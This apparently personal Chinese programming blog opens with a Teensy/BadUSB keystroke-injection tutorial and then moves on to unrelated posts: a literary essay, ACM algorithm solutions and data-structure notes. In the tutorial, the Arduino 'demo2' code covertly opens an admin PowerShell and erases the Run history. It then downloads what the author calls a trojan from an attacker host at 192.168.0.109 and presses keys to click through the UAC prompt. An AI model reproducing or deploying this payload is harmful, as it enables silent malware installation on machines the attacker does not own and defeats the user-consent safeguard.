Jack's Blog

流淌的心,怎能阻拦,吹来的风,又怎能阻挡。

工作地址转移公告

Jacob 的工作转移到

https://github.com/JinxinHu

欢迎访问

应该还会时不时地回来看看,毕竟这里是梦想开始的地方。

Teensy 实现USB攻击

BadUSB原理

在介绍BadUSB的原理之前,笔者在这里先介绍下BadUSB出现之前,利用HID(Human InterfaceDevice,是计算机直接与人交互的设备,例如键盘、鼠标等)进行攻击的两种类型。分别是”USB RUBBERDUCKY”和”Teensy”。 

TEENSY介绍

攻击者在定制攻击设备时,会向USB设备中置入一个攻击芯片,此攻击芯片是一个非常小而且功能完整的单片机开发系统,它的名字叫TEENSY。通过TEENSY你可以模拟出一个键盘和鼠标,当你插入这个定制的USB设备时,电脑会识别为一个键盘,利用设备中的微处理器与存储空间和编程进去的攻击代码,就可以向主机发送控制命令,从而完全控制主机,无论自动播放是否开启,都可以成功。

关于TEENSY,可以参考天融信阿尔法实验室的《HID攻击之TEENSY实战

USB RUBBER DUCKY介绍

简称USB橡皮鸭,是最早的按键注入工具,通过嵌入式开发板实现,后来发展成为一个完全成熟的商业化按键注入攻击平台。它的原理同样是将USB设备模拟成为键盘,让电脑识别成为键盘,然后进行脚本模拟按键进行攻击。

 

这两种攻击方式,是在BadUSB公布之前,比较流行的两种HID攻击方式,缺陷在于要定制硬件设备,通用性比较差。但是BadUSB就不一样了,它是在“USB RUBBER DUCKY”和“Teensy”攻击方式的基础上用通用的USB设备(比如U盘)。

U盘的内部构造

U盘由芯片控制器和闪存两部分组成,芯片控制器负责与PC的通讯和识别,闪存用来做数据存储;闪存中有一部分区域用来存放U盘的固件,它的作用类似于操作系统,控制软硬件交互;固件无法通过普通手段进行读取。

BadUSB就是通过对U盘的固件进行逆向重新编程,相当于改写了U盘的操作系统而进行攻击的。

USB协议漏洞

为什么要重写固件呢?下面我们可以看看USB协议中存在的安全漏洞。

现在的USB设备很多,比如音视频设备、摄像头等,因此要求系统提供最大的兼容性,甚至免驱;所以在设计USB标准的时候没有要求每个USB设备像网络设备那样占有一个唯一可识别的MAC地址让系统进行验证,而是允许一个USB设备具有多个输入输出设备的特征。这样就可以通过重写U盘固件,伪装成一个USB键盘,并通过虚拟键盘输入集成到U盘固件中的指令和代码而进行攻击。

BadUSB利用代码分析

笔者对KarstenNohl和Jakob Lell公布的代码进行简单的一个流程解析。

这样一个带有恶意代码的U盘就产生了,更详细的可以搜索Karsten Nohl 和 Jakob Lell公布的代码。

原理部分就不赘述了,接写来我们讲准备部分。


要实现USB端口攻击,我们需要:

1.Teensy 开发板(淘宝上有卖40块左右,都可以使用)

2.Arduino IDE (去官网上下载最新版本,请合理使用百度)

3.Teensy 客户端 https://www.pjrc.com/teensy/td_download.html

如果你想更深入了解关于黑客知识和理论,建议你使用 BACK I TRACK 龍 系统。


实战部分:

1.新建一个demo

void setup() {
  // put your setup code here, to run once:

}

void loop() {
  // put your main code here, to run repeatedly:

}
// step 是初始化程序的地方
// loop 是我们要放置循环的地方

2.库函数及相关参数

#include<Keyboard.h>  //包含键盘模块的头文件

Keyboard.begin();  //开启键盘通信

Keyboard.press();  //按下某个键

Keyboard.release(); //释放某个键

Keyboard.println(); /*输入某些内容 和一些网上的解释不同 网上解释是输入内容并且能回车,而我测试的时候并不能回车 可能和版本有关 不要不要担心有办法回车*/

Keyboard.end();  //结束键盘通信

3.demo 1

#include<Keyboard.h> //包含键盘模块头文件

void setup(); //初始化

Keyboard.begin();//开始键盘通信

delay(1000);//延时1000毫秒,不要太短,因为每天电脑的运行速度都不一样 

Keyboard.press(KEY_CAPS_LOCK); //按下大写键 这里我们最好这样写 不然大多数电脑在中文输入的情况下就会出现问题

Keyboard.release(KEY_CAPS_LOCK); //释放大写键

delay(500);

Keyboard.press(KEY_LEFT_GUI);//按下徽标键 也就是win键 

delay(500); 

Keyboard.press('r');//按下r键 

delay(500); 

Keyboard.release(KEY_LEFT_GUI);//松掉win键 

Keyboard.release('r');//松掉r键 

delay(500); 

Keyboard.println("cmd");//输入cmd进入DOS

delay(500); 

Keyboard.press(KEY_RETURN);  //按下回车键

Keyboard.release(KEY_RETURN); //释放回车键

delay(500); 

Keyboard.println("echo first test");

Keyboard.press(KEY_RETURN);  //按下回车键

Keyboard.release(KEY_RETURN); //释放回车键

delay(500);

Keyboard.press(KEY_CAPS_LOCK); //按下大写键

Keyboard.release(KEY_CAPS_LOCK); //释放大写键 我们再次关闭开启的大写键

delay(500);

Keyboard.end();//结束键盘通讯 

} 

void loop()//循环,这里的代码

{ 

//循环体 写入你要循环的代码

}

编译成功

烧入程序

4.demo2

Keyboard.println("powershell.exe -command start-process powershell -verb runAs");  /*开启管理员级别的powershell*/

Keyboard.println("reg delete HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\RunMRU /f"); /*清除运行窗口产生的记录*/

Keyboard.println("cmd.exe /T:01 /K mode CON: COLS=16 LINES=1"); //让cmd窗口变成一个很小的窗口

Keyboard.println("$P = nEW-oBJECT sYSTEM.nET.wEBcLIENT"); //利用powershell 定义一个对象

Keyboard.println("$P.dOWNLOADfILE('HTTP://192.168.0.109/SUPER.EXE','c:\\SUPER.EXE')");  /*从服务端下载病毒 服务器地址和木马自己指定 还有木马将在目标机上存放的地址 自己设置*/

//自己想了一个比较笨的方法绕过UAC  就是询问管理员是否同意的那个框框

Keyboard.press(KEY_LEFT_ARROW); //按住左方向键

Keyboard.release(KEY_LEFT_ARROW); //释放左方向键

Keyboard.press(KEY_RETURN); //按下回车键

Keyboard.release(KEY_RETURN);//释放enter键
  1. 这里我们为什么要开管理员的powershell 是因为从服务端下载文件的时候 首先CMD不支持,其次就算我们在cmd里调用powershell 那也不是管理员身份下载会出错。所以我们这里要开管理员的powershell 其实下载文件的操作code还有很多种 我这里是一种 如果大家有更好的下载方式可以和我说 谢谢 命令千奇百怪大家自己发挥
  2. 另外要注意的地方是在IDE编程的时候,指定目录是要用\\ 双斜杠。
  3. 这些命令字母的大小写是这样的,因为我们在程序开头执行了开启大写键的这个操作 ,所以我们想还原真实的字母就要在IDE里面把小写的改成大写,大写的改成小写 这样程序输出的时候就是我们想要的结果 
  4. 还有就是delay();  延这个东西自己把握,不是说值都是唯一的。我这里可能相对来说比较慢

最后附上键值表

Key            Hexadecimal value    Decimal value

KEY_LEFT_CTRL         0x80         128

KEY_LEFT_SHIFT        0x81         129

KEY_LEFT_ALT          0x82         130

KEY_LEFT_GUI         0x83         131

KEY_RIGHT_CTRL        0x84         132

KEY_RIGHT_SHIFT        0x85         133

KEY_RIGHT_ALT        0x86         134

KEY_RIGHT_GUI         0x87         135

KEY_UP_ARROW         0xDA         218

KEY_DOWN_ARROW        0xD9         217

KEY_LEFT_ARROW        0xD8         216

KEY_RIGHT_ARROW        0xD7         215

KEY_BACKSPACE        0xB2         178

KEY_TAB            0xB3           179

KEY_RETURN         0xB0         176

KEY_ESC             0xB1         177

KEY_INSERT         0xD1         209

KEY_DELETE         0xD4         212

KEY_PAGE_UP         0xD3         211

KEY_PAGE_DOWN        0xD6         214

KEY_HOME             0xD2         210

KEY_END             0xD5         213

KEY_CAPS_LOCK         0xC1         193

KEY_F1               0xC2         194

KEY_F2              0xC3         195

KEY_F3              0xC4         196

KEY_F4              0xC5         197

KEY_F5              0xC6         198

KEY_F6              0xC7         199

KEY_F7              0xC8         200

KEY_F8              0xC9         201

KEY_F9              0xCA         202

KEY_F10             0xCB         203

KEY_F11              0xCC         204

KEY_F12             0xCD         205

参考http://www.freebuf.com/sectool/107242.html


FAQ

1.'Keyboard' was not declared in this scope?

安装keyboard库就好。具体查看Arduino官网。

http://www.visualmicro.com/forums/yabb.pl?num=1412496583

 

当你也曾拼命抓取彼岸的绿灯

“我喜欢她的勇敢、诚实与火一般的自尊。 ”菲茨如是评价姬尔达。所有狂热的爱情,总会有一个轰轰烈烈的开端。生活在城堡里高傲自负的公主,吸引了来自保罗市乡下小伙儿菲茨,简单的故事可以概括为“穷小子爱上富家千金”,也是后来历代爱情故事的雏形。身份上的悬殊使得他对姬尔达的爱如此炽热又盲目,他在他巅峰作品中曾以上帝的视角审视了美国泡沫般的爵士时代和不顾一切中走向毁灭的盖茨比,自身却沉迷在繁荣奢侈的美梦之中,他也和盖茨比一样渴望抓住对岸的绿灯,“他的梦一定就像近在眼前,他几乎不可能抓不住的(巫宁坤译)”。
      《盖茨比》的预见性,不仅是遇见了美国梦的破灭,更是遇见了自身走向毁灭的结局。地位的突然跃迁和心爱之人的收获,带给菲茨的不过是对物质的麻木,他跟姬尔达像爵士时代的两颗流行,为世人观望、赞叹,却又避免不了转瞬即逝的悲剧。对这个穷小子而言,截然不同的社会地位让他迷失在舞会的大厅,他既是大堂中纵情享乐的宾客,又是城堡外冷眼审视这一切的上帝。
      “他的才华是那么的自然,就如同蝴蝶翅膀上的颗粒排列的格局一样。最初,他并不比蝴蝶了解自己的翅膀那样更多的注意到自己的才华,他也不知道自从何时这些被洗刷掉和破坏。直到后来,他开始注意到了他破损了的翅膀和翅膀的结构,他开始明白不可能再次起飞了,因为对于飞行的热爱已经消逝,他唯一能够回忆起的是,当初在天空中的翱翔是多么的轻而易举啊。”海明威在《流动的盛宴》中这般评价菲茨,为他的才华惋惜。这个曾被他一手挖掘的人,却比他更为世人所铭记。菲茨就是那只蝴蝶,尽管有着无比的才华,却成了爵士时代的最后一次落日,轰轰烈烈地跳入了海平面,带着他曾经写出《盖茨比》时的辉煌。而巧合的是,海明威更像是《盖茨比》的叙述者,他比菲茨更加清醒,不管是对自身还是所处的世界,因为在文学上获得的肯定也更盛。若将菲茨比作爵士时代的一颗流星,那海明威便是一颗永远耀眼的明星。
       任何故事的升华,都需要一个悲剧的结尾。正如同菲茨的结局。他像盖茨比一样迫切希望抓住对岸的绿灯,有无时无刻不为这段美丽的爱情付出代价。他以自己的故事为原型,又旁观着这个时代,“我既是旁观者清亦是当局者迷”,他在一种清醒与迷惘之中,看不清姬尔达不过是他幻化出的美梦,她像是诱惑亚当的毒蛇,带着伟大作家的爱,毁灭在这个曾经热爱她的时代。
     “于是,我们奋力向前划,逆流而上的小舟,不停地倒退,进入过去。”

迷宫问题广度搜索--ACM第五讲

给定一个迷宫,指明起点和终点,找出从起点出发到终点的有效可行路径,就是迷宫问题(maze problem)

 

迷宫可以以二维数组来存储表示。0表示通路,1表示障碍。注意这里规定移动可以从上、下、左、右四方方向移动。坐标以行和列表示,均从0开始,给定起点(0,0)和终点(4,4),迷宫表示如下:

左图每个方块表示一个状态,浅蓝色的表示遍历了该状态。

广度优先搜索即是按层数一层一层来遍历,先将一层全部扩展,然后再进行下一层。

利用队列先进先出(FIFO)的性质恰好可以来完成这个任务

 

对应的队列的情况:

具体过程:

1 每次取出队列首元素(初始状态),进行拓展

2 然后把拓展所得到的可行状态都放到队列里面

3 将初始状态删除

4 循环执行以上三步直到找到目标状态或者队列为空。

#include <cstdio>
#include <iostream>
#include <cstring>
#include <cstdlib>
#include <queue>
using namespace std;
int mp[10][10];
bool inq[10][10];//passed set true

struct node{
    int x,y;
    node(int x=0,int y=0):x(x),y(y) {}
};
queue<node> q;
node frm[10][10];
int dx[4]={0,1,0,-1};
int dy[4]={-1,0,1,0};
bool bfs(){
    q.push(node(1,1));
    inq[1][1]=true;
    frm[1][1]=node(0,0);
    while (!q.empty()){
        node now = q.front();
        q.pop();
        if (now.x==5 && now.y==5){
            return true;
        }
        for(int i=0;i<4;i++){
            int tx=now.x+dx[i],ty=now.y+dy[i];
            if (!inq[tx][ty] && mp[tx][ty]==0){
                inq[tx][ty]=true;
                q.push(node(tx,ty));
                frm[tx][ty]=now;
            }
        }
    }
    return false;
}
void printans(int x,int y){
    if (x==0 && y==0)   return;
    printans(frm[x][y].x,frm[x][y].y);
    printf("(%d, %d)\n",x-1,y-1);
}
int main(){
    for (int i=0;i<=6;i++){
        for (int j=0;j<=6;j++){
            mp[i][j]=-1;
        }
    }
    for (int i=1;i<=5;i++){
        for (int j=1;j<=5;j++){
            scanf("%d",&mp[i][j]);
        }
    }
    bfs();
    printans(5,5);
    return 0;
}

函数的参数是什么样的?
结构体
struct A指针或引用
链表 数组
线性表
链表——无顺序数组
为什么是零散的状态?
1.可以动态申请内存
链表不需要任何静态的申请
eg.1
1 2 3 4 6 8 10
1 2 3 6 8 10
删除第四位
for(int i=3;i<=n;i++){
    a[i]=a[i+1]
}
链表插入一次就好
数组得挪很多次
链表访问比数组麻烦
链表结构体

声明一个指针函数
Struct link{
    int data;
    link* next;(内置类型的一个东西)
}
link *l;
l=new link();
(*l).data=15(l->data=15);
l->next =NULL;
link *head=new link();
link *push_back(link *p,int x)
{
    link *q= new link();
    q->data = x;
    q->next = NULL;
    p->next = q;
    return p->next;

}
Link *tmp = head;

链表访问复杂度较高(频繁插入删除,不频繁查找)
for(int i=1;i<10;i++)
{
    tmp = push_back(tmp,i);
}
栈 stack(抽象数据结构)
只能在顶端进行插入和删除
先进后出
队列(抽象数据结构)
可以用数组,也可用链表
数据结构
1.数据形态
2.数据操作

#include <iostream>

using namespace std;
struct A{
    int a;
    int b;
}A1={0};
struct A my_swap(int a1,int b1)
{
    A1.a=b1;
    A1.b=a1;
    return A1;
}

int main()
{
    int a=1,b=2;
    A A2= my_swap(a,b);
    my_swap(a,b);
    printf("%d %d",a,b);
    return 0;
}

用结构体实现了swap

其实最简单的还是用指针来写swap

my_swap(int &a,int &b)
my_swap(int *a,int *b)
/×
两种写法等价

然而直接用

my_swap(int a,int b);
是不能交换函数值的

因为虽然在这个函数虽然在这个函数内部互换了函数值,但是这仅仅局限与函数内部,对于整个main函数的调用并没有使用返回值。

我在想如果用内联函数进行展开是不是可以交换呢。读者们可以亲自试试。
inline int swap(int a,int b);

 

二分法学习--acm第三讲

Q&A:

什么是二分法呢?

其实一直以来,在我的印象当中就是高中时候求解二元一次方程组解的时候所使用的算法。

也是现代计算器进行计算的原理。(即一直>>1[除以2]直到答案符合精度)

现在,我将通过系统的学习来为大家讲述二分法的更深入的地方。


 

立flag!

我可能真的要脱单了。


华丽分割线

好吧,反正写了也没有人看。说正事了:

要是我成功的脱单了的话,

1.我就每天早上7:00起床背单词

2.晚上10:30上床睡觉

3.学习高级流型微积分,量子力学

4.每天做一道acm题。

----来自一个单身了好几年的工科男的哀叹


更新:脱单失败。。。

1.虽然失败了,但是我依旧会将上述flag实施下来。

2.其实当初内心是不希望脱单成功的,这样的话哪有时间实施我的flag。。。

3.我要减肥,游泳,从下周起不断的完善自己。虽然就像那句老话说的:做最好的自己。不用和谁比,做最好的自己就好!

2017-10-15

acm--4

A - A

Time limit : 1 s Memory limit : 32 mb
Submitted : 6 Accepted : 2
64bit Integer Format : %lld

 

Problem Description

FatMouse prepared M pounds of cat food, ready to trade with the cats guarding the warehouse containing his favorite food, JavaBean.
The warehouse has N rooms. The i-th room contains J[i] pounds of JavaBeans and requires F[i] pounds of cat food. FatMouse does not have to trade for all the JavaBeans in the room, instead, he may get J[i]* a% pounds of JavaBeans if he pays F[i]* a% pounds of cat food. Here a is a real number. Now he is assigning this homework to you: tell him the maximum amount of JavaBeans he can obtain.
 

Input

The input consists of multiple test cases. Each test case begins with a line containing two non-negative integers M and N. Then N lines follow, each contains two non-negative integers J[i] and F[i] respectively. The last test case is followed by two -1's. All integers are not greater than 1000.

Output

For each test case, print in a single line a real number accurate up to 3 decimal places, which is the maximum amount of JavaBeans that FatMouse can obtain.

Sample Input

5 3 7 2 4 3 5 2 20 3 25 18 24 15 15 10 -1 -1

Sample Output

13.333 31.500
#include <stdio.h>
#include <stdlib.h>
#include <cstdio>

struct info{
    double val;
    int pos;
};
int amount(info a[],int n)
{
    int i,j;
    for(i=0;i<n;i++)
    {
        for(j=i+1;j<n;j++)
        {
           if(a[j].val>a[i].val)
           {
               double t;
               t = a[i].val;
               a[i].val=a[j].val;
               a[j].val=t;
               int tt;
               tt=a[i].pos;
               a[i].pos=a[j].pos;
               a[j].pos=tt;
           }
        }
    }
    return 0;
}
int main()
{

    int M,N;
    int i;
    while(1)
    {
        scanf("%d %d",&M,&N);
        if(M==-1&&N==-1)
            break;
        info price[N]={0};
        int F[N]={0},J[N]={0};
        for(i=0;i<N;i++)
        {
            scanf("%d %d",&J[i],&F[i]);
            price[i].val=(double)J[i]/F[i];
            price[i].pos=i;
        }
        amount(price,N);
        double output=0;
        for(i=0;i<N;i++)
        {
            if(M>=F[price[i].pos])
            {
                output+=price[i].val*F[price[i].pos];
                M-=F[price[i].pos];
            }
            else if(M>0&&M<F[price[i].pos])
            {
                output+=price[i].val*M;
                M=0;
                break;
            }
        }
        printf("%.3lf\n",output);
    }
    return 0;
}

然而在oj里面。。。Runtime Error

没办法啊,只好看看哪里可以改进

2.sort

#include<stdio.h>
#include<stdlib.h>
#include<algorithm>
using namespace std;
const int MAXN = 1010;
struct node
{
    double j,f;
    double r;
}a[MAXN];
/*
int cmp(const void *a,const void *b)//从大到小排序 
{
    struct node *c=(node *)a;
    struct node *d=(node *)b;
    if(c->r > d->r) return -1;
    else return 1;
}    */
bool cmp(node a,node b)
{
    return a.r  >  b.r;
}    
int main()
{
    int N;
    double M;
    double ans;
    while(scanf("%lf%d",&M,&N))
    {
        if(M==-1&&N==-1) break;
        for(int i=0;i<N;i++)
        {
           scanf("%lf%lf",&a[i].j,&a[i].f);
           a[i].r=(double)a[i].j/a[i].f;
        }    
        //qsort(a,N,sizeof(a[0]),cmp);
        sort(a,a+N,cmp);
        ans=0;
        for(int i=0;i<N;i++)
        {
            if(M>=a[i].f)
            {
                ans+=a[i].j;
                M-=a[i].f;
            }    
            else 
            {
                ans+=(a[i].j/a[i].f)*M;
                break;
            }    
        }   
        printf("%.3lf\n",ans); 
    }    
    return 0;
}

key3:without sort:

#include<stdio.h>
#include<stdlib.h>

const int MAXN = 1010;
struct node
{
    double j,f;
    double r;
}a[MAXN];
int cmp(const void *a,const void *b)//从大到小排序 
{
    struct node *c=(node *)a;
    struct node *d=(node *)b;
    if(c->r > d->r) return -1;
    else return 1;
}    
int main()
{
    int N;
    double M;
    double ans;
    while(scanf("%lf%d",&M,&N))
    {
        if(M==-1&&N==-1) break;
        for(int i=0;i<N;i++)
        {
           scanf("%lf%lf",&a[i].j,&a[i].f);
           a[i].r=(double)a[i].j/a[i].f;
        }    
        qsort(a,N,sizeof(a[0]),cmp);
        ans=0;
        for(int i=0;i<N;i++)
        {
            if(M>=a[i].f)
            {
                ans+=a[i].j;
                M-=a[i].f;
            }    
            else 
            {
                ans+=(a[i].j/a[i].f)*M;
                break;
            }    
        }   
        printf("%.3lf\n",ans); 
    }    
    return 0;
}

acm--3

输入一行数字,如果我们把这行数字中的‘5’都看成空格,那么就得到一行用空格分割的若干非负整数(可能有些整数以‘0’开头,这些头部的‘0’应该被忽略掉,除非这个整数就是由若干个‘0’组成的,这时这个整数就是0)。

你的任务是:对这些分割得到的整数,依从小到大的顺序排序输出。        

初玩can,接触第三天的一道水题

第一程序为最初所写,第二个为参考优化后,

#include"stdio.h"
main()
{
    char c;
    while((scanf("%c",&c))!=EOF)
    {
         char a[1300];
         long long int b[1300],sum=0;
         int state=0,temp,k=0,i,j,l;
        for(i=0;c!='\t'&&c!='\n'&&c!=' ';i++)
        {
            a[i]=c;
            scanf("%c",&c);
        }
        a[i]='\0';
        for(j=0;j<i;j++)
        {
            if(a[j]=='5')
            {
                  if(state==1)
                    b[k++]=sum;
                  state=0;
                  sum=0;
            }
            else if(a[j]=='0')
              {
                   state=1;
                sum=sum*10+a[j]-'0';
              }
            else
                {
                   sum=sum*10+a[j]-'0';
                   state=1;
                }
        }
        if(state==1)
            b[k++]=sum;
            k--;
        for(j=0;j<k;j++)
            for(l=0;l<k-j;l++)
        {
            if(b[l]>b[l+1])
            {
                temp=b[l];
                b[l]=b[l+1];
                b[l+1]=temp;
            }
        }
        for(i=0;i<=k-1;i++)
        {
            printf("%lld ",b[i]);
        }
        printf("%lld\n",b[i]);
    }
}

2.

#include"stdio.h"
#include"string.h"
main()
{
 
    int i,len,k,n,temp,j,l;
     char s[5005];
     while(scanf("%s",s)!=EOF)
    {
        int a[5005];
        n=0;
        k=0;
        len=strlen(s);
         s[len]='5';
         i=0;
         while(s[i++]=='5');  //跳过前缀5,防止多输出0
        for(i--;i<=len;++i)
        {
             if(i>0&&s[i]=='5'&&s[i-1]=='5') //忽略连续的5,防止多输出0
                 continue;
            if(s[i]!='5')
                 k=k*10+s[i]-'0';
            else            //遇到5就增加一个数
            {
                 a[n++]=k;
               k=0;
            }
        }
        for(j=0;j<n-1;j++)
            for(l=0;l<n-j-1;l++)
        {
            if(a[l]>a[l+1])
            {
                temp=a[l];
                a[l]=a[l+1];
                a[l+1]=temp;
            }
        }
        for(i=0;i<n-1;i++)
        {
            printf("%d ",a[i]);
        }
        printf("%d\n",a[i]);
    }
}